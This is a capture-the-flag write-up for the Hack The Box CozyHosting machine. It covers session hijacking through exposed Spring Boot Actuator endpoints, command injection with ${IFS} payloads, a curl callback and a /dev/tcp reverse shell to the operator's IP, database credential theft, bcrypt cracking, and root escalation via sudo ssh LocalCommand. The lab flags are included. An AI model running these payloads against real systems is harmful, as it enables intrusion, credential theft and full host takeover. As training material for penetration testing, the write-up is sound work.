



HACK THE BOX · LINUX

CozyHosting

Complete technical writeup ·
reproducible exploitation

CozyHosting machine solved

HTB CozyHosting · 02 May 2026

Author	Ramon Santos Sabarich / r4ms4nt
Type	Complete and archivable technical report
Objective	Document web enumeration, exposed Actuator, panel access, execution as app, pivot to josh and root escalation with clear reusable traceability
Resolution date	02 May 2026



Standardized technical report for
archiving, reference, and traceability.

HTB CozyHosting - Technical didactic report

Table of contents

1. Case introduction
2. Technical executive summary
3. Laboratory preparation and startup
4. Initial port and service enumeration
5. Identifying the dominant surface
6. Baseline web enumeration
7. Login, backend errors and transition toward Spring Boot
8. Discovery of Spring Boot Actuator
9. Session leakage and dashboard access
10. Authenticated panel analysis
11. Validation of the /executessh flow
12. Command injection in username
13. Remote execution confirmation through callback
14. Foothold: shell as user app
15. Local enumeration and JAR analysis
16. PostgreSQL credentials in application.properties
17. PostgreSQL enumeration and hash extraction
18. Cracking the bcrypt hash
19. Lateral movement: SSH access as josh
20. Privilege escalation: abusing sudo ssh
21. Final technical summary
22. Reusable lessons

1. Case introduction

CozyHosting is an easy-difficulty Linux machine where the compromise chain relies on an improperly exposed Spring Boot web application. The solution does not start from valid credentials obtained by brute force or from a direct public exploit. Instead, it starts from an exposed diagnostic surface, a leaked active session, and an authenticated feature that builds an SSH operation in an unsafe way.

The full technical path is especially useful as a study case because it links several reusable ideas:

- initial reconnaissance with a minimal attack surface;
- the need to resolve a virtual hostname;
- detection of a dynamic backend from JSON errors;
- exposed Spring Boot Actuator;

- reuse of an active session;
- separation between the visual interface, the real HTTP request, and the backend;
- authenticated command injection;
- analysis of a Spring Boot JAR;
- extraction of database credentials;
- offline bcrypt cracking;
- password reuse over SSH;
- abuse of an unsafe sudoers rule.

The resolution is documented on two levels: first, the verified facts observed during the laboratory work; second, the didactic explanation that makes it clear why each step was reasonable and how it shaped the next phase.

2. Technical executive summary

Exploitation chain

```
Nmap detects SSH and HTTP
-> HTTP redirects to cozyhosting.htb
-> the hostname is added to /etc/hosts
-> the web application shows /login and JSON errors
-> a Spring Boot backend is identified
-> /actuator is exposed
-> /actuator/sessions reveals a kanderson session
-> JSESSIONID is reused to access /admin
-> the panel shows a POST /executessh form
-> username participates in an SSH call built by a shell
-> authenticated command injection
-> external callback confirms remote execution
-> reverse shell as app
-> /app contains cloudhosting-0.0.1.jar
-> application.properties reveals PostgreSQL credentials
-> the cozyhosting database contains bcrypt hashes
-> the admin hash is cracked as manchesterunited
-> the password is reused to access SSH as josh
-> sudo -l allows /usr/bin/ssh * as root
-> LocalCommand allows launching /bin/bash as root
```

Final result

```
Initial application user: app
Lateral user: josh
Final user: root
Host: cozyhosting
User flag: d2f307799472b53e63932cffbae92e2b
Root flag: edba58633595f327570a0c2683f14201
```

Main findings

Phase	Dominant finding	Impact
Initial enumeration	HTTP redirects to cozyhosting.htb	Forces work by hostname
Web base	Real /login and JSON errors	Indicates dynamic backend
Backend enumeration	Exposed Spring Boot Actuator	Reveals endpoints, mappings, and sessions

Phase	Dominant finding	Impact
Authenticated access	Leaked kanderson session	Enables dashboard access
Panel	POST /executessh form	Controllable input into backend SSH flow
Foothold	Command injection in username	Shell as app
Local	PostgreSQL credentials in JAR	Access to cozyhosting database
Credentials	Cracked bcrypt hash for admin	Password manchesterunited
Lateral movement	Reuse on user josh	Stable SSH access
Escalation	sudo /usr/bin/ssh *	Root shell through LocalCommand

3. Laboratory preparation and startup

The machine was started with the custom Inici-HTB script, used to prepare the working structure and launch controlled initial enumeration. This script does not perform exploitation. Its value is to keep the case organized from the beginning, create the working directories, verify connectivity, and generate initial evidence.

Startup command

```
Inici-HTB CozyHosting 10.129.37.233 easy
```

Expected working structure

```
CozyHosting/  
├── content/  
├── exploits/  
├── nmap/  
│   ├── allPorts  
│   ├── extractPorts.txt  
│   ├── nmap_tcp_services.txt  
│   ├── ping.txt  
│   └── whichSystem.txt  
└── notes/  
    ├── 00_resumen_inicial.md  
    └── 01_siguiente_paso.txt
```

What this phase was meant to answer

The startup phase does not attempt to find the main vulnerability. Its purpose is to answer basic questions:

- whether the target is alive;
- which TCP ports are open;
- which services and versions are exposed;
- whether there is a relevant hostname or vhost;
- which surface appears to dominate the case;
- which branches should remain secondary.

Observed evidence

The target responded correctly to ping:

```
1 packets transmitted, 1 received, 0% packet loss  
64 bytes from 10.129.37.233: icmp_seq=1 ttl=63
```

Quick identification estimated Linux:

```
10.129.37.233 (ttl -> 63): Linux
```

The TTL should not be treated as absolute proof, but combined later with Ubuntu banners it reinforces the Linux inference.

4. Initial port and service enumeration

Full port scan

The full scan detected a very small surface:

```
22/tcp open  ssh  
80/tcp open  http
```

Service fingerprinting

The service scan identified:

```
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.3  
80/tcp open  http      nginx 1.18.0 (Ubuntu)  
http-title: Did not follow redirect to http://cozyhosting.htb
```

Reading the result

Port 22/tcp was recorded as an available SSH service, but without credentials it could not be the main branch yet. Port 80/tcp, however, showed an explicit redirect to a hostname:

```
http://cozyhosting.htb
```

That detail shaped the entire later enumeration: if the application is accessed only by IP, it may respond incompletely or outside the intended context.

Phase decision

```
Dominant surface: HTTP  
Main branch: WEB-BASE  
Secondary branch: SSH pending credentials  
Single next step: resolve cozyhosting.htb locally and enumerate the web app by domain
```

5. Identifying the dominant surface

The HTTP redirect to cozyhosting.htb makes the hostname part of the real surface. In many web laboratories, the virtual name is not decorative: it can affect routes, sessions, cookies, redirects, and served content.

Local hostname resolution

```
sudo sh -c 'echo "10.129.37.233 cozyhosting.htb" >> /etc/hosts'
getent hosts cozyhosting.htb
```

Resolution was confirmed:

```
10.129.37.233    cozyhosting.htb
```

In the original output it appeared duplicated, which indicates it was probably added twice to /etc/hosts. It did not affect exploitation, but it remains an operational detail worth correcting.

Why this step matters

Before fuzzing routes or reviewing the login, it was necessary to guarantee that the tools were querying the application as intended. If the HTTP service redirects to a domain, that domain must resolve locally to avoid false readings.

6. Baseline web enumeration

Initial headers

```
curl -sS -I http://cozyhosting.htb
```

The web application answered with 200 OK:

```
HTTP/1.1 200
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
```

Initial HTML

```
curl -sS http://cozyhosting.htb | head -n 60
```

A public landing page was observed:

```
<title>Cozy Hosting - Home</title>
```

The HTML included a Bootstrap template named FlexStart and a visible link to:

```
/login
```

Visible technologies

```
whatweb http://cozyhosting.htb
```

The output confirmed expected public-web components:

```
Bootstrap
HTML5
nginx/1.18.0
Title[Cozy Hosting - Home]
Email[info@cozyhosting.htb]
```

Extracted routes and references

```
curl -sS http://cozyhosting.htb | grep -oP 'href="\K[^"]+|src="\K[^"]+' | sort -u
```

Among the links, the following appeared:

```
/login
assets/css/style.css
assets/js/main.js
assets/vendor/bootstrap/...
```

Keyword search also found commercial references to administrative panels:

```
Login
admin
administrative dashboard
admin interface
```

Interpretation

References to “admin interface” inside the landing page do not prove by themselves that an exploitable panel exists. They may be marketing text. The real technical signal is `/login`, because it points to a concrete authentication flow.

Observed operational error

The output included:

```
curl: (23) Failure writing output to destination
```

This was not a target-side failure. It appears when `curl` keeps writing but head has already closed the pipe. It is a local terminal detail and should not be interpreted as a machine finding.

7. Login, backend errors and transition toward Spring Boot

Review of `/login`

```
curl -sS -I http://cozyhosting.htb/login
curl -sS http://cozyhosting.htb/login | head -n 80
```

The route returned 200 OK and showed a real form:

```
<form action="/login" method="post" class="row g-3 needs-validation">
```

The relevant fields were:

```
username
password
remember
```

No visible CSRF field was observed in the HTML. This point was recorded as a form characteristic, not as a demonstrated vulnerability.

Review of /error and nonexistent routes

```
curl -sS -i http://cozyhosting.htb/error | head -n 80
curl -sS -i http://cozyhosting.htb/noexiste | head -n 80
```

The /error route returned JSON:

```
{"timestamp":"2026-05-02T11:27:57.289+00:00","status":999,"error":"None"}
```

A nonexistent route also returned structured JSON:

```
{"timestamp":"2026-05-02T11:28:22.877+00:00","status":404,"error":"Not Found","path":"/noexiste"}
```

Didactic reading

The application was not a purely static site served by nginx. Although nginx acted as a front end, the JSON errors indicated that a dynamic backend was processing routes and errors. The combination of a POST form, security headers, and an error format containing timestamp, status, error, and path was compatible with a Java/Spring application.

Decision

```
Main branch: WEB-BASE, with likely transition to WEB-AUTH / PANEL
Reason: real /login + backend JSON errors
Next step: enumerate backend routes and typical Spring Boot endpoints
```

8. Discovery of Spring Boot Actuator

Common fuzzing

```
ffuf -u http://cozyhosting.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc all -fc 404
```

Relevant routes:

```
admin    401
error    500
index    200
login    200
logout   204
```

Spring Boot-specific fuzzing


```
ffuf -u http://cozyhosting.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt \
-mc all -fc 404
```

Relevant endpoints:

actuator	200
actuator/sessions	200
actuator/env	200
actuator/mappings	200
actuator/health	200
actuator/beans	200

Base endpoint confirmation

```
curl -sS -i http://cozyhosting.htb/actuator | head -n 80
```

The endpoint returned internal links:

```
/actuator/sessions
/actuator/beans
/actuator/health
/actuator/env
/actuator/mappings
```

The health check confirmed that the application was up:

```
curl -sS http://cozyhosting.htb/actuator/health
```

```
{"status": "UP"}
```

Interpretation

Spring Boot Actuator is a diagnostic surface. In a secure deployment, sensitive endpoints should not be exposed to anonymous users. Here, exposing sessions, mappings, env, and beans was the dominant finding: the work was no longer just about finding routes, but about reading internal backend information.

9. Session leakage and dashboard access

Mapping enumeration

```
curl -sS http://cozyhosting.htb/actuator/mappings
```

Among the internal routes, one was especially important:

```
POST /executessh
```

It was associated with this handler:

```
htb.cloudhosting.compliance.ComplianceService#executeOverSsh(String, String, HttpServletResponse)
```

Internal views were also confirmed:

```
/admin  
/addhost  
/index  
/login
```

Session leakage

```
curl -sS http://cozyhosting.htb/actuator/sessions
```

One observed response was:

```
{  
  "7973024D4ACF933A79FFF0AC267E833A": "UNAUTHORIZED",  
  "69EF63EAAED85BD239B2A03AFE4B7D29": "kanderson"  
}
```

The session marked as UNAUTHORIZED was not useful. The relevant one was associated with:

```
kanderson
```

Terminal validation

```
curl -sS -i http://cozyhosting.htb/admin \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' | head -n 120
```

The response was 200 OK and showed the dashboard:

```
<title>Dashboard - Cozy Cloud</title>  
<span class="d-none d-md-block ps-2">K. Anderson</span>
```

Browser access

Later, the initial session expired and a new one had to be obtained through /actuator/sessions:

```
{  
  "C42BC31D847B65FA25FE4A4AB541318E": "UNAUTHORIZED",  
  "1129638E080FFCADC2EDD2B617160C46": "UNAUTHORIZED",  
  "405F6C1B7D933B6BE1F873BBB79023ED": "UNAUTHORIZED",  
  "45CE26F0AAE9695F22A16A62957B9B9B": "kanderson"  
}
```

The valid cookie was verified from the terminal:

```
curl -sS -i http://cozyhosting.htb/admin \  
-H 'Cookie: JSESSIONID=45CE26F0AAE9695F22A16A62957B9B9B' | head -n 20
```

The expected code was:

```
HTTP/1.1 200
```

To enter in the browser, the existing JSESSIONID cookie was deleted from:

```
Developer tools -> Storage -> Cookies -> http://cozyhosting.htb
```

A new one was created:

```
Name: JSESSIONID
Value: 45CE26F0AAE9695F22A16A62957B9B9B
Domain: cozyhosting.htb
Path: /
```

Then the browser was sent directly to:

```
http://cozyhosting.htb/admin
```

The Login button should not be pressed and credentials should not be entered: access depended on reusing the leaked session.

Lesson from this phase

The key point was not “having a username”, but having a valid active session. kanderson as text did not open the panel; the JSESSIONID value associated with kanderson did.

10. Authenticated panel analysis

After accessing /admin, the full HTML was saved for local analysis:

```
mkdir -p loot
curl -sS http://cozyhosting.htb/admin \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-o loot/admin_kanderson.html
```

Observed evidence

The panel showed:

```
Dashboard - Cozy Cloud
K. Anderson
Admin Dashboard
Keep your hosts patched!
```

The relevant section was:

```
Include host into automatic patching
```

The HTML contained:

```
<form action="/executessh" method="post">
<input name="host" class="form-control" id="host" placeholder="example.com">
<input name="username" class="form-control" id="username" placeholder="user">
```

The panel itself explained that Cozy Scanner tried to connect to the customer host using a private key:

```
For Cozy Scanner to connect the private key that you received upon registration should be included in your host's
.ssh/authorised_keys file.
```

Interpretation

The visual interface, the real request, and the backend were connected:

```
Authenticated dashboard
-> "Include host into automatic patching" form
-> POST /executessh
-> ComplianceService#executeOverSsh
-> SSH operation from the server
```

This step was essential. It was not enough to know that /executessh existed in mappings; it was necessary to observe how the panel invoked it and which parameters the user controlled.

11. Validation of the /executessh flow

Before testing special characters, the normal form behavior was validated with benign inputs.

Test with localhost

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'host=127.0.0.1' \
--data-urlencode 'username=test' \
-o loot/executessh_test_127001.txt
```

Key result:

Location: http://cozyhosting.htb/admin?error=Host key verification failed.

Test with an external domain

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'host=example.com' \
--data-urlencode 'username=test' \
-o loot/executessh_test_example.txt
```

Key result:

Location: http://cozyhosting.htb/admin?error=ssh: Could not resolve hostname example.com: Temporary failure in name resolution

What this difference proves

The backend was not returning a generic form error. The errors were compatible with a real SSH client execution:

- 127.0.0.1 resolved and reached the host key verification phase;
- example.com failed DNS resolution from the server.

Therefore, the host parameter reached a real SSH operation.

Input validation checks

Inputs were tested to understand what the application validated:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=invalid host' \  
--data-urlencode 'username=test'
```

Result:

Invalid hostname!

With a space in username:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test user'
```

Result:

Username can't contain whitespaces!

Reading

The host field had format validation. The username field blocked literal spaces, but remained interesting because it participated in building the SSH operation.

12. Command injection in username

Tests with special characters

username=test; was tested:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test;'
```

Relevant result:

/bin/bash: line 1: @127.0.0.1: command not found

`username=test

` was also tested:

/bin/bash: line 1: @127.0.0.1: command not found

The appearance of `/bin/bash: line 1` confirmed that the username value reached a system shell. The backend was not invoking SSH safely with separated arguments; it was building a shell-interpreted string.

Understanding the parameter position

When testing:

```
username=test;id
```

the response was:

```
/bin/bash: line 1: id@127.0.0.1: command not found
```

The output was not the output of `id`, because the injected command was contaminated by the `@host` suffix. This allowed the inferred construction to be understood as something similar to:

```
ssh <username>@<host>
```

When injecting in username, everything appended remains before `@127.0.0.1` unless the rest of the line is cut off.

Using a comment to neutralize the suffix

This was tested:

```
username=test;id;#
```

The error related to `@127.0.0.1` disappeared. This confirmed that `#` acted as a shell comment and cut off the rest of the line.

Technical lesson

In command injection, it is not enough to verify that a separator works. It is also necessary to understand exactly where the parameter lands inside the final command. Here the injection was real, but the `@host` suffix affected commands unless neutralized.

13. Remote execution confirmation through callback

Because command output was not always reflected cleanly in the HTTP response, execution was validated with an external callback.

Getting the VPN interface IP

```
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
```

Result:

```
10.10.15.26
```

Terminal 1: HTTP server

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting  
python3 -m http.server 7000
```

Test request

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test;curl${IFS}http://10.10.15.26:7000;#' \  
-o loot/executessh_callback_curl.txt
```

Success signal

On the local HTTP server, the following was received:

```
10.129.37.233 - - [02/May/2026 16:56:55] "GET / HTTP/1.1" 200 -
```

The IP 10.129.37.233 was the victim. This confirmed that the target machine initiated an outbound connection to the operator-controlled server.

Why \${IFS} was necessary

The application blocked literal spaces in username. \${IFS} allows shell-interpretable separation without using a literal space. This substitution was key to building commands with arguments.

14. Foothold: shell as user app

Preparing rev.sh

In the same directory used for the HTTP server, the rev.sh file was prepared:

```
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.15.26/4444 0>&1' > rev.sh  
chmod +x rev.sh
```

Terminal 1: HTTP server

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting  
python3 -m http.server 7000
```

Terminal 2: listener

```
nc -lvnp 4444
```

Browser: authenticated form

In the panel:

```
http://cozyhosting.htb/admin
```

In the section:

```
Include host into automatic patching
```

The form was filled with:

```
Hostname: 127.0.0.1
Username: payload prepared to download and execute rev.sh
```

The payload was entered only into the Username field of the web form. It should not be executed in a local terminal or typed into the listener.

Operational error avoided

If the HTTP server shows:

```
GET /rev.sh HTTP/1.1" 404 -
```

it means that `rev.sh` is not in the directory from which `python3 -m http.server 7000` was started. This is a local error, not a target-side issue.

Shell received

The listener received:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.37.233] 48724
sh: 0: can't access tty; job control turned off
```

The shell was validated with:

```
whoami
hostname
ls
```

Result:

```
app
cozyhosting
cloudhosting-0.0.1.jar
```

Context confirmation

The source `10.129.37.233` and the results `whoami=app`, `hostname=cozyhosting` confirmed that the shell belonged to the target machine.

An earlier mistake produced a connection from the attacker IP itself and showed `whoami=r4mon`, `hostname=parrot`. That was not a valid CozyHosting shell, but an accidental local execution.

15. Local enumeration and JAR analysis

Minimally improving the shell

```
script /dev/null -c bash
export TERM=xterm
```

Context confirmation


```
pwd
ls -la
ls -lh cloudhosting-0.0.1.jar
```

Result:

```
/app
-rw-r--r-- 1 root root 58M Aug 11 2023 cloudhosting-0.0.1.jar
```

JAR extraction

```
mkdir -p /tmp/cozy_jar
unzip -q cloudhosting-0.0.1.jar -d /tmp/cozy_jar
```

The first attempt contained a typo (nzip), immediately corrected with unzip.

Relevant structure

```
find /tmp/cozy_jar -maxdepth 3 -type f | sort | head -n 80
```

This appeared:

```
/tmp/cozy_jar/B00T-INF/classes/application.properties
/tmp/cozy_jar/B00T-INF/lib/postgresql-42.5.1.jar
/tmp/cozy_jar/B00T-INF/lib/spring-boot-3.0.2.jar
/tmp/cozy_jar/B00T-INF/lib/spring-boot-actuator-3.0.2.jar
```

Searching for configuration files

```
find /tmp/cozy_jar -type f \( -name "*.properties" -o -name "*.yml" -o -name "*.yaml" -o -name "*.xml" \) -print
```

Result:

```
/tmp/cozy_jar/B00T-INF/classes/application.properties
/tmp/cozy_jar/META-INF/maven/htb.cloudhosting/cloudhosting/pom.xml
/tmp/cozy_jar/META-INF/maven/htb.cloudhosting/cloudhosting/pom.properties
```

Lesson about overly broad searches

The command:

```
grep -RniE 'spring.datasource|jdbc|postgres|password|username|user|secret|token|key' /tmp/cozy_jar 2>/dev/null
```

produced too much output because it also traversed /tmp/cozy_jar/B00T-INF/lib/, where many dependency libraries contain matching strings. The useful approach was to scope the search to:

```
grep -RniE 'spring.datasource|jdbc|postgres|password|username|secret|token|key' \
/tmp/cozy_jar/B00T-INF/classes 2>/dev/null
```

16. PostgreSQL credentials in application.properties

File review

```
cat /tmp/cozy_jar/B00T-INF/classes/application.properties
```

Relevant content:

```
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzA07XxR
```

Verified facts

```
Database: cozyhosting
Host: localhost
Port: 5432
User: postgres
Password: Vg&nvzA07XxR
```

Interpretation

The JAR was not just a deployment artifact; it contained sensitive configuration. In Spring Boot applications, `application.properties` is a priority target after obtaining a shell because it often stores connection parameters, exposed endpoints, and operational secrets.

This finding moved the active branch toward credentials and the local database.

17. PostgreSQL enumeration and hash extraction

Non-interactive connection

To avoid issues with the `psql` pager in an unstable shell, non-interactive queries were used with the pager disabled.

```
PGPASSWORD='Vg&nvzA07XxR' psql -h 127.0.0.1 -U postgres -d cozyhosting -P pager=off -c '\dt'
```

Result:

```
      List of relations
Schema | Name  | Type  | Owner
-----+-----+-----+-----
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
```

User query

```
PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -U postgres -d cozyhosting -P pager=off -c 'SELECT * FROM users;'
```

Result:

name	password	role
kanderson	\$2a\$10\$E/Vcd9ecf1mPudWeLSEIv.cvK6QjxjWlWxpj1NVNV3Mm6eH58zim	User
admin	\$2a\$10\$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm	Admin

(2 rows)

Reading the result

The \$2a\$10\$... format corresponds to bcrypt. The admin user was the priority candidate because it had the Admin application role.

The application admin password should not automatically be assumed to be a system password. First, the hash had to be cracked, and then password reuse had to be checked against a real local user.

18. Cracking the bcrypt hash

Hash preparation

On the attacker machine:

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting/exploits  
cat > admin_hash.txt << 'EOF'  
$2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm  
EOF
```

Cracking with Hashcat

```
hashcat -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt
```

Relevant result:

```
Status: Cracked  
Hash.Mode: 3200 (bcrypt $2*$, Blowfish (Unix))  
$2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm:manchesterunited
```

Credential result

```
Application user: admin  
Hash: $2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm  
Password: manchesterunited
```

Interpretation

Cracking transformed an application secret into a cleartext password. The correct next step was to look for real local users and test reuse, not to attempt SSH login as admin without evidence that such a Linux user existed.

19. Lateral movement: SSH access as josh

Review of local users

From the shell as app:

```
cat /etc/passwd | grep -E '/bin/bash|/bin/sh'
```

Relevant users:

```
root:x:0:0:root:/root:/bin/bash
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
```

The local user josh was a real candidate for testing reuse of the cracked password.

SSH access

From the attacker machine:

```
ssh josh@10.129.37.233
```

Password used:

```
manchesterunited
```

Access succeeded. The context was validated:

```
whoami
id
hostname
pwd
```

Result:

```
josh
uid=1003(josh) gid=1003(josh) groups=1003(josh)
cozyhosting
/home/josh
```

User flag

```
cat /home/josh/user.txt
```

Result:

```
d2f307799472b53e63932cffbae92e2b
```

Didactic reading

This step shows why password reuse should be tested across surfaces. The hash belonged to an application user named admin, but the resulting password worked for a different local user: josh.

20. Privilege escalation: abusing sudo ssh

Review of sudo permissions

```
sudo -l
```

Result:

```
User josh may run the following commands on localhost:  
(root) /usr/bin/ssh *
```

Interpretation

The line:

```
(root) /usr/bin/ssh *
```

means that josh can execute `/usr/bin/ssh` as root with arbitrary arguments. This is dangerous because ssh does not only open connections: it also supports client options that execute local commands after establishing a connection.

The relevant option is:

```
LocalCommand
```

For it to execute, this must be enabled:

```
PermitLocalCommand=yes
```

When the SSH client is executed through `sudo`, the command defined in `LocalCommand` inherits the root context.

Escalation command

```
sudo /usr/bin/ssh -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1
```

The SSH fingerprint for `127.0.0.1` was accepted and the josh password was entered.

Root validation

```
whoami  
id  
hostname  
pwd
```

Result:

```
root  
uid=0(root) gid=0(root) groups=0(root)  
cozyhosting  
/home/josh
```

Root flag

```
cat /root/root.txt
```

Result:

```
edba58633595f327570a0c2683f14201
```

Didactic reading

The escalation did not depend on a kernel vulnerability or a classic SUID binary. The problem was an overly permissive sudoers rule. Allowing ssh as root with arbitrary arguments enabled abuse of a legitimate SSH client feature.

21. Final technical summary

1. Connectivity to 10.129.37.233 is validated.
2. Nmap discovers only SSH and HTTP.
3. HTTP redirects to cozyhosting.htb.
4. cozyhosting.htb is resolved in /etc/hosts.
5. The landing page shows /login.
6. /error and nonexistent routes return backend JSON.
7. Fuzzing discovers Spring Boot Actuator endpoints.
8. /actuator/mappings reveals /executessh.
9. /actuator/sessions leaks a kanderson session.
10. JSESSIONID is reused to access the dashboard.
11. The panel shows an automatic patching form.
12. The form sends host and username to /executessh.
13. Benign tests confirm a real SSH operation from the backend.
14. Special characters in username trigger /bin/bash errors.
15. Command injection is confirmed.
16. An outgoing HTTP callback from 10.129.37.233 confirms remote execution.
17. A shell is obtained as app.
18. cloudhosting-0.0.1.jar is located in /app.
19. application.properties exposes PostgreSQL credentials.
20. The cozyhosting database contains bcrypt hashes.
21. The admin hash is cracked as manchesterunited.
22. The password is reused over SSH as josh.
23. sudo -l allows /usr/bin/ssh * as root.
24. LocalCommand allows obtaining a root shell.

Flags

```
user.txt: d2f307799472b53e63932cffbae92e2b  
root.txt: edba58633595f327570a0c2683f14201
```

22. Reusable lessons

1. A hostname can be an essential part of the surface

When Nmap shows a redirect to a domain, it is not advisable to enumerate only by IP. The hostname can influence routes, cookies, and application behavior.

2. JSON errors help identify the backend

A static landing page can hide a dynamic application. In this case, /login, /error, and JSON 404 responses indicated that nginx was not the whole story.

3. Exposed Actuator can be critical

Spring Boot Actuator does not only show health. If misconfigured, it can reveal internal endpoints, environment variables, mappings, beans, and active sessions.

4. A leaked session is worth more than a leaked username

Exploitation did not depend on knowing kanderson as a name, but on reusing the active JSESSIONID.

5. In authenticated panels, separate UI, request, and backend

The real value of the panel was not its visual appearance, but the form that sent host and username to /executessh, connected to a revealing backend handler.

6. Before exploiting, validate normal behavior

Tests with 127.0.0.1, localhost, and example.com showed that the backend executed a real SSH operation. That evidence made later tests targeted rather than blind.

7. In command injection, exact parameter position matters

The inferred pattern was similar to `ssh <username>@<host>`. That is why `id` was contaminated as `id@127.0.0.1` unless the rest of the line was cut off.

8. An external callback is strong proof of execution

The request received from 10.129.37.233 on the local server demonstrated remote execution better than a simple difference in errors.

9. In Spring Boot, reviewing the JAR is a priority

The JAR contains classes, dependencies, and configuration. In this case, `application.properties` exposed direct PostgreSQL credentials.

10. An application password can pivot to the system

The application user `admin` was not the SSH user. The cracked password was reused by `josh`, a real local user.

11. `sudo -l` must be analyzed by binary capability

`ssh` looks like a connection client, but its options allow local command execution. With `sudo`, that local execution becomes privilege escalation.